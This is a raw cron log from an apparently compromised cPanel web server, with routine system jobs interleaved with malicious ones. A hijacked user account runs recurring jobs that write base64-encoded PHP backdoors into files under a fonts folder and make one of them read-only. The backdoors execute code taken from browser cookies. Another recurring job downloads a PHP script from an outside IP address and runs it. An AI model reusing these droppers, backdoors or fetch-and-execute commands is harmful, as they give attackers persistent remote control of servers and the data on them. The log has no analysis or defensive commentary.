Sep  5 12:48:02 ip-184-168-122-23 CROND[19684]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:48:02 ip-184-168-122-23 CROND[19685]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:48:02 ip-184-168-122-23 CROND[19686]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 12:49:01 ip-184-168-122-23 CROND[19835]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 12:49:01 ip-184-168-122-23 CROND[19836]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 12:49:01 ip-184-168-122-23 CROND[19837]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:49:01 ip-184-168-122-23 CROND[19838]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:50:01 ip-184-168-122-23 CROND[19986]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:50:01 ip-184-168-122-23 CROND[19988]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 12:50:01 ip-184-168-122-23 CROND[19994]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 12:50:01 ip-184-168-122-23 CROND[19989]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 12:50:01 ip-184-168-122-23 CROND[19995]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 12:50:01 ip-184-168-122-23 CROND[19993]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:50:01 ip-184-168-122-23 CROND[19990]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 12:50:01 ip-184-168-122-23 CROND[19992]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 12:50:01 ip-184-168-122-23 CROND[19996]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 12:51:01 ip-184-168-122-23 CROND[20135]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 12:51:01 ip-184-168-122-23 CROND[20137]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 12:51:01 ip-184-168-122-23 CROND[20138]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:51:01 ip-184-168-122-23 CROND[20136]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:52:01 ip-184-168-122-23 CROND[20345]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 12:52:01 ip-184-168-122-23 CROND[20348]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 12:52:01 ip-184-168-122-23 CROND[20346]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:52:01 ip-184-168-122-23 CROND[20349]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 12:52:01 ip-184-168-122-23 CROND[20350]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:53:01 ip-184-168-122-23 CROND[20515]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:53:01 ip-184-168-122-23 CROND[20517]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 12:53:01 ip-184-168-122-23 CROND[20516]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 12:53:01 ip-184-168-122-23 CROND[20518]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:54:01 ip-184-168-122-23 CROND[20623]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 12:54:01 ip-184-168-122-23 CROND[20625]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:54:01 ip-184-168-122-23 CROND[20626]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:54:01 ip-184-168-122-23 CROND[20624]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 12:54:01 ip-184-168-122-23 CROND[20627]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 12:55:02 ip-184-168-122-23 CROND[20754]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 12:55:02 ip-184-168-122-23 CROND[20755]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:55:02 ip-184-168-122-23 CROND[20756]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 12:55:02 ip-184-168-122-23 CROND[20757]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:55:02 ip-184-168-122-23 CROND[20758]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 12:55:02 ip-184-168-122-23 CROND[20759]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 12:56:02 ip-184-168-122-23 CROND[20909]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 12:56:02 ip-184-168-122-23 CROND[20912]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 12:56:02 ip-184-168-122-23 CROND[20911]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 12:56:02 ip-184-168-122-23 CROND[20910]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:56:02 ip-184-168-122-23 CROND[20913]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:57:01 ip-184-168-122-23 CROND[21134]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:57:01 ip-184-168-122-23 CROND[21136]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:57:01 ip-184-168-122-23 CROND[21135]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 12:57:01 ip-184-168-122-23 CROND[21137]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 12:58:01 ip-184-168-122-23 CROND[21301]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:58:01 ip-184-168-122-23 CROND[21300]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 12:58:01 ip-184-168-122-23 CROND[21305]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:58:01 ip-184-168-122-23 CROND[21306]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 12:58:01 ip-184-168-122-23 CROND[21307]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 12:59:01 ip-184-168-122-23 CROND[21431]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:59:01 ip-184-168-122-23 CROND[21432]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:59:01 ip-184-168-122-23 CROND[21433]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 12:59:01 ip-184-168-122-23 CROND[21434]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 13:00:01 ip-184-168-122-23 CROND[21552]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 13:00:01 ip-184-168-122-23 CROND[21556]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 13:00:02 ip-184-168-122-23 CROND[21557]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 13:00:02 ip-184-168-122-23 CROND[21558]: (root) CMD (/usr/lib64/sa/sa1 1 1)
